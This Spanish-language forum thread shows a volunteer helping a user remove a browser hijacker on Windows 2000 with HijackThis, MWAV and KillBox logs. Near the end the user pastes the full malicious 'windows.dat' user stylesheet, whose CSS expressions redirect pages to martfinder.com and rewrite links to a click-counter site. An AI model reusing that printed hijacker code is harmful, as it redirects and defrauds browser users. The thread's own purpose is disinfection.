Después de horas de insomnio, derrotado y sin más alternativa que la de encontrar a alguien que me ayude. Paso a relatar mi problema:

Arranqué la máquina y tras esperar y desesperar comprobé que no se cargaba el Zone Alarm. Cliqué el explorador y, en lugar de la página en blanco que tenía por defecto me aparece http://www.martfinder.com/index.htm

Tras ejecutar regedit compruebo que "algo" se ha cargado todas las entradas de [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]

He pasado todos los antivirus, tengo el Norman en mi máquina pero también le pase el Panda y www.housecall.antivirus.com/housecall/start_frame.asp desde Internet.

No me detectan nada.

He pasado Spybot-S&D, RegSeeker, AboutBuster y tampoco encontraron nada crítico.

Si arranco en modo seguro y cambio la página de inicio por alguna qu no sea about:blank me la conserva. Si pongo about:blank vuelve a llamar a martfinder. Pero en modo normal no me permite ni eso, siempre está about:blank y siempre llama a www.martfinder.com
En modo seguro puedo escribir entradas en [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]
Pero cuando arranco en modo normal desaparecen nuevamente.
En modo normal escribo alguna clave en el RUN, pulso la tecla F5 para refrescar y desaparecen todas las entradas introducidas.

Mi log de HijackThis es el siguiednte:

Logfile of HijackThis v1.99.0
Scan saved at 2:19:20, on 11/05/2005
Platform: Windows 2000 SP4 (WinNT 5.00.2195)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\NORMAN\bin\ZANDA.EXE
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\WBEM\WinMgmt.exe
C:\NORMAN\bin\NJEEVES.EXE
C:\NORMAN\Nvc\BIN\NVCSCHED.EXE
C:\NORMAN\Nvc\bin\nvcoas.exe
C:\NORMAN\Nvc\BIN\nipsvc.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\NORMAN\Nvc\BIN\ZLH.EXE
C:\NORMAN\Nvc\BIN\NIP.EXE
C:\NORMAN\Nvc\bin\cclaw.exe
C:\Archivos de programa\Internet Explorer\IEXPLORE.EXE
C:\00Descargas\virus\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Local Page =
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Local Page =
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Int ernet Settings,ProxyServer = 172.8.1.10:80
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Vínculos
O1 - Hosts: 172.8.1.1 localhost
O9 - Extra button: Investigador - {9455301C-CF6B-11D3-A266-00C04F689C50} - C:\Archivos de programa\Archivos comunes\Microsoft Shared\Encarta Researcher\EROPROJ.DLL
O17 - HKLM\System\CCS\Services\Tcpip\..\{94CC97E7-F673-422E-B916-D5411EAE4FFE}: NameServer = 195.235.113.3,195.235.96.90
O18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Archivos de programa\Archivos comunes\Microsoft Shared\Help\hxds.dll
O19 - User stylesheet: C:\WINDOWS\windows.dat
O20 - AppInit_DLLs:
O23 - Service: Administración de aplicaciones - Unknown - C:\WINDOWS\system32\services.exe
O23 - Service: Examinador de equipos - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: Cliente DHCP - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: Servicio del administrador de discos lógicos - Unknown - C:\WINDOWS\System32\dmadmin.exe
O23 - Service: Administrador de discos lógicos - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: Cliente DNS - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: Registro de sucesos - Unknown - C:\WINDOWS\system32\services.exe
O23 - Service: Servicio de fax - Unknown - C:\WINDOWS\system32\faxsvc.exe
O23 - Service: Servidor - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: Estación de trabajo - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: Servicio de ayuda TCP/IP NetBIOS - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: Mensajero - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: DDE de red - Unknown - C:\WINDOWS\system32\netdde.exe
O23 - Service: DSDM de DDE de red - Unknown - C:\WINDOWS\system32\netdde.exe
O23 - Service: Inicio de sesión en red - Unknown - C:\WINDOWS\System32\lsass.exe
O23 - Service: Norman API-hooking helper - Unknown - C:\NORMAN\Nvc\BIN\nipsvc.exe
O23 - Service: Norman NJeeves - Unknown - C:\NORMAN\bin\NJEEVES.EXE
O23 - Service: Norman ZANDA - Unknown - C:\NORMAN\bin\ZANDA.EXE
O23 - Service: Proveedor de asistencia de seguridad LM de Windows NT - Unknown - C:\WINDOWS\System32\lsass.exe
O23 - Service: Norman Virus Control on-access component - Norman ASA - C:\NORMAN\Nvc\bin\nvcoas.exe
O23 - Service: Norman Virus Control Scheduler - Norman Data Defense Systems - C:\NORMAN\Nvc\BIN\NVCSCHED.EXE
O23 - Service: Plug and Play - Unknown - C:\WINDOWS\system32\services.exe
O23 - Service: Almacenamiento protegido - Unknown - C:\WINDOWS\system32\services.exe
O23 - Service: Sistema de ayuda de tarjeta inteligente - Unknown - C:\WINDOWS\System32\SCardSvr.exe
O23 - Service: Tarjeta inteligente - Unknown - C:\WINDOWS\System32\SCardSvr.exe
O23 - Service: Registros y alertas de rendimiento - Unknown - C:\WINDOWS\system32\smlogsvc.exe
O23 - Service: Telnet - Unknown - C:\WINDOWS\system32\tlntsvr.exe
O23 - Service: Administrador de utilidades - Unknown - C:\WINDOWS\System32\UtilMan.exe
O23 - Service: Horario de Windows - Unknown - C:\WINDOWS\System32\services.exe
O23 - Service: Instrumental de administración de Windows - Unknown - C:\WINDOWS\System32\WBEM\WinMgmt.exe
O23 - Service: Exten. controlador Instrumental de admon. de Windows - Unknown - C:\WINDOWS\system32\Services.exe

Hola primero que nada actualiza la version de HijackThis por la 1.99.1 y despues ya que tu log esta medio raro, vamos a probar con una herramienta que es un rastreador de malware con el motor de Kaspersky que se llama MWAV.exe . Esta herramienta no elimina en su versión gratuita pero genera un log donde te dirá los archivos infectados. Este log es muy largo por lo que te pido que sólo copies los archivos reconocidos como infectados.

Salu2

Amigo ElPiedra, en primer lugar te doy las gracias por responder con tanta celeridad a mi demanda. Se siente uno aliviado al comprobar que no está solo.

He ejecutado el mwav.exe y me han aparecido los siguientes virus:

File System Found infected by "Quicken Spyware/Adware" Virus. Action Taken: No Action Taken.
File System Found infected by "cws.smartsearch Spyware/Adware" Virus. Action Taken: No Action Taken.
File C:\WINDOWS\cep1unin.exe tagged as not-a-virus:Tool.Win32.Reboot. No Action Taken.
File C:\WINDOWS\system32\dnetc.exe tagged as not-a-virus:NetCalc.DNet.d. No Action Taken.

También aparecen estos mensajes "raros" en el logfile:

File C:\php\mysql\bin\mysqld-nt.exe having Size Restriction ***. Filesize 3416 kb > 3072 kb...
File C:\WINDOWS\system32\qtintf.dll having Size Restriction ***. Filesize 4065 kb > 3072 kb...
File C:\WINDOWS\system32\wmp.dll having Size Restriction ***. Filesize 4760 kb > 3072 kb...
File C:\WINDOWS\system32\atioglxx.dll having Size Restriction ***. Filesize 6104 kb > 3072 kb...

Siguiendo tus consejos he descargado la versión 1.99.1 del HijackThis y, tras ejecutarlo, me da el siguiente log:

Logfile of HijackThis v1.99.1
Scan saved at 10:18:20, on 11/05/2005
Platform: Windows 2000 SP4 (WinNT 5.00.2195)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\NORMAN\bin\ZANDA.EXE
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\WBEM\WinMgmt.exe
C:\NORMAN\bin\NJEEVES.EXE
C:\NORMAN\Nvc\BIN\nipsvc.exe
C:\NORMAN\Nvc\BIN\NVCSCHED.EXE
C:\NORMAN\Nvc\bin\nvcoas.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\NORMAN\Nvc\BIN\ZLH.EXE
C:\NORMAN\Nvc\BIN\NIP.EXE
C:\NORMAN\Nvc\bin\cclaw.exe
C:\0 Antivirus\HijackThis\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Local Page =
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Local Page =
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Int ernet Settings,ProxyServer = 172.8.1.10:80
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Vínculos
O1 - Hosts: 172.8.1.1 localhost
O9 - Extra button: Investigador - {9455301C-CF6B-11D3-A266-00C04F689C50} - C:\Archivos de programa\Archivos comunes\Microsoft Shared\Encarta Researcher\EROPROJ.DLL
O16 - DPF: {74D05D43-3236-11D4-BDCD-00C04F9A3B61} (HouseCall Control) - http://a840.g.akamai.net/7/840/537/2004061001/housecall.trendmicro.com/housecall/xscan53.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{94CC97E7-F673-422E-B916-D5411EAE4FFE}: NameServer = 195.235.113.3,195.235.96.90
O18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Archivos de programa\Archivos comunes\Microsoft Shared\Help\hxds.dll
O19 - User stylesheet: C:\WINDOWS\windows.dat
O20 - AppInit_DLLs:
O23 - Service: Servicio del administrador de discos lógicos (dmadmin) - VERITAS Software Corp. - C:\WINDOWS\System32\dmadmin.exe
O23 - Service: Norman API-hooking helper (NipSvc) - Unknown owner - C:\NORMAN\Nvc\BIN\nipsvc.exe
O23 - Service: Norman NJeeves - Unknown owner - C:\NORMAN\bin\NJEEVES.EXE
O23 - Service: Norman ZANDA - Unknown owner - C:\NORMAN\bin\ZANDA.EXE
O23 - Service: Norman Virus Control on-access component (nvcoas) - Norman ASA - C:\NORMAN\Nvc\bin\nvcoas.exe
O23 - Service: Norman Virus Control Scheduler (NVCScheduler) - Norman Data Defense Systems - C:\NORMAN\Nvc\BIN\NVCSCHED.EXE

Bien ahora descargate el programa "KillBox" (de la firma) y vas poniendo estos archivos uno a uno siguiendo las indicaciones del articulo.

C:\WINDOWS\cep1unin.exe
C:\WINDOWS\system32\dnetc.exe

Le vas poniendo que NO a reiniciar hasta que pongas el ultimo y ahi le pones que SI para que reinicie y elimine estos archivos infectados.

Del HijackThis aunque esta un poco raro el log no veo nada muy relavante salvo estas dos entradas que si estas seguro de no usar proxy para conectarte las podes eliminar dandole FIX.

R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Int ernet Settings,ProxyServer = 172.8.1.10:80

O1 - Hosts: 172.8.1.1 localhost

Después nos contas los resultados.

Amigo ElPiedra , estoy casi limpio, aunque about:blank sigue llamando a www.martfinder.com, así como las direcciones erroneas, puedo cambiar la página de inicio por google, por ejemplo, y la mantiene.

Asimismo puedo poner entradas en [HLM\SOFTWARE\Microsoft\Windows\Curr entVersion\Run], como el Zone Alarm, sin ningún problema.

Seguí los consejos que tu me diste, pasé "KillBox" pero seguía infectado, aunque gracias a la metodología que tu me enseñaste, pasé de nuevo MWAV.exe y me detectó:
File C:\WINDOWS\SYSTEM32\DRIVERS\SYSTEMSVR.SYS infected by "Trojan-Clicker.Win32.Agent.dc"
System found infected with cws.smartsearch Spyware/Adware (C:\WINDOWS\Start.exe)! Eliminé los dos archivos con el "KillBox" y ahora pasando el MWAV.exe me da:

Thu May 12 11:19:48 2005 => ***** Scanning complete. *****
Thu May 12 11:19:48 2005 => Total Objects Scanned: 4265
Thu May 12 11:19:48 2005 => Total Virus(es) Found: 0
Thu May 12 11:19:48 2005 => Total Disinfected Files: 0
Thu May 12 11:19:48 2005 => Total Files Renamed: 0
Thu May 12 11:19:48 2005 => Total Deleted Objects: 0
Thu May 12 11:19:48 2005 => Total Errors: 0
Thu May 12 11:19:48 2005 => Time Elapsed: 00:02:26
Thu May 12 11:19:48 2005 => Virus Database Date: 2005/05/05
Thu May 12 11:19:48 2005 => Virus Database Count: 128422

Thu May 12 11:19:48 2005 => Scan Completed.

En cuanto al HijackThis tengo el siguiente log:

Logfile of HijackThis v1.99.1
Scan saved at 11:23:09, on 12/05/2005
Platform: Windows 2000 SP4 (WinNT 5.00.2195)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\NORMAN\bin\ZANDA.EXE
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\WBEM\WinMgmt.exe
C:\NORMAN\Nvc\BIN\nipsvc.exe
C:\NORMAN\bin\NJEEVES.EXE
C:\NORMAN\Nvc\bin\nvcoas.exe
C:\NORMAN\Nvc\BIN\NVCSCHED.EXE
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\NORMAN\Nvc\BIN\ZLH.EXE
C:\Archivos de programa\ATI Technologies\ATI Control Panel\atiptaxx.exe
C:\Archivos de programa\Conceptronic\Conceptronic 54Mbps Wireless Utility\WLANmon.exe
C:\Archivos de programa\QK SMTP Server\smtpserver.exe
C:\Archivos de programa\Zone Labs\ZoneAlarm\zapro.exe
C:\NORMAN\Nvc\BIN\NIP.EXE
C:\NORMAN\Nvc\bin\cclaw.exe
C:\Archivos de programa\Analog Devices\SoundMAX\SMax4PNP.exe
C:\WINDOWS\system32\ZoneLabs\vsmon.exe
C:\Archivos de programa\Internet Explorer\IEXPLORE.EXE
C:\0 Antivirus\HijackThis\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Local Page =
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Local Page =
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Int ernet Settings,ProxyServer = 172.8.1.10:80
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Vínculos
O1 - Hosts: 172.8.1.1 localhost
O4 - HKLM\..\Run: [Norman ZANDA] C:\NORMAN\Nvc\BIN\ZLH.EXE /LOAD /SPLASH
O4 - HKLM\..\Run: [ATIPTA] C:\Archivos de programa\ATI Technologies\ATI Control Panel\atiptaxx.exe
O4 - HKLM\..\Run: [Conceptronic Conceptronic 54Mbps Wireless Utility] C:\Archivos de programa\Conceptronic\Conceptronic 54Mbps Wireless Utility\WLANmon.exe
O4 - HKLM\..\Run: [NeroFilterCheck] C:\WINDOWS\system32\NeroCheck.exe
O4 - HKLM\..\Run: [QKSMTPServer] C:\Archivos de programa\QK SMTP Server\smtpserver.exe
O4 - HKLM\..\Run: [Synchronization Manager] mobsync.exe /logon
O4 - Global Startup: ZoneAlarm Pro.lnk = C:\Archivos de programa\Zone Labs\ZoneAlarm\zapro.exe
O9 - Extra button: Investigador - {9455301C-CF6B-11D3-A266-00C04F689C50} - C:\Archivos de programa\Archivos comunes\Microsoft Shared\Encarta Researcher\EROPROJ.DLL
O16 - DPF: {74D05D43-3236-11D4-BDCD-00C04F9A3B61} (HouseCall Control) - http://a840.g.akamai.net/7/840/537/2004061001/housecall.trendmicro.com/housecall/xscan53.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{94CC97E7-F673-422E-B916-D5411EAE4FFE}: NameServer = 195.235.113.3,195.235.96.90
O18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Archivos de programa\Archivos comunes\Microsoft Shared\Help\hxds.dll
O19 - User stylesheet: C:\WINDOWS\windows.dat
O20 - AppInit_DLLs:
O23 - Service: Servicio del administrador de discos lógicos (dmadmin) - VERITAS Software Corp. - C:\WINDOWS\System32\dmadmin.exe
O23 - Service: Norman API-hooking helper (NipSvc) - Unknown owner - C:\NORMAN\Nvc\BIN\nipsvc.exe
O23 - Service: Norman NJeeves - Unknown owner - C:\NORMAN\bin\NJEEVES.EXE
O23 - Service: Norman ZANDA - Unknown owner - C:\NORMAN\bin\ZANDA.EXE
O23 - Service: Norman Virus Control on-access component (nvcoas) - Norman ASA - C:\NORMAN\Nvc\bin\nvcoas.exe
O23 - Service: Norman Virus Control Scheduler (NVCScheduler) - Norman Data Defense Systems - C:\NORMAN\Nvc\BIN\NVCSCHED.EXE

Efectivamente utilizo un proxy en 172.8.1.10:80 para conectarme a internet. Gracias de nuevo,

LLUIS

Bien tu log aparece limpio y contanos como esta trabajando ahora tu sistema para dar el tema por solucionado.

Pero igual antes para sacame de una duda busca este archivo C:\WINDOWS\windows.dat y hacelo analizar en line en "Virus-Total" ya que tengo sospechas que tambien este infectado y con ese analicis nos podemos sacar la duda.

Despues me contas.

Salu2

:dedosarri Amigo ElPiedra esta vez hemos triunfado , efectivamente tenías razon al sospechar de windows.dat. VirusTotal lo procesó con sus 18 motores y no encontró virus pero este es su contenido:

iframe {padding-right:expression((this.src!='about:blank')?((this. src='about:blank')?0:0):0)} body {padding-right:expression((document.alt!=1)?(((a=window.top .location.href)&&(a=a.toLowerCase())&&(a.indexOf(' dnserror.htm#http://www.martfinder')<0)&&((a.indexOf('http_404.htm')>= 0)||(a.indexOf('sea.search.msn.com')>=0)||((b=docu ment.title)&&(b.indexOf('404 Not Found')>=0))||(a.indexOf('about:blank')>=0)||(a.in dexOf('dnserror.htm')>=0)))?(((window.top.location .href='http://www.martfinder.com/index.htm')&&(document.alt=1))?0:0):(document.alt= 1)):0)} a {padding-right:expression(((this.alt!='_')&&(window.name.in dexOf('ghytemt')))?(((a=document.title)&&(a=a.toLo werCase())&&((a.indexOf('porn')>=0)||(a.indexOf('m oviepost')>=0)||(a.indexOf('movie post')>=0)||(a.indexOf('tgp')>=0)||(a.indexOf('lol ita')>=0)||(a.indexOf('cumshot')>=0)||(a.indexOf(' cum shot')>=0)||(a.indexOf('blowjob')>=0)))?(((this.hr ef='http://click-counter.net/gallery/?'+window.top.location.href)&&(b=new Date())&&(this.target='ghytemt'+b.getTime())&&(thi s.alt='_'))?0:0):(this.alt='_')):0)}

Evidentemente sobran los comentarios.
Pasé el HijackThis y eliminé:
O19 - User stylesheet: C:\WINDOWS\windows.dat
dándole FIX.
Después borre el archivo mencionado, puse 'about:blank' como página de inicio en el Explorer y Todo OK

Nuevamente Gracias,

LLUIS

Muy bien damos el tema por solucionado :dedosarri y nos queda como referencia que ningún antivirus por el momento detecta este tipo de intrusiones de spyware ya que no vieron nada en el windows.dat y esta mas que claro.

Salu2

Ps//Espero que tu pagina de inicio quede como www.forospyware.com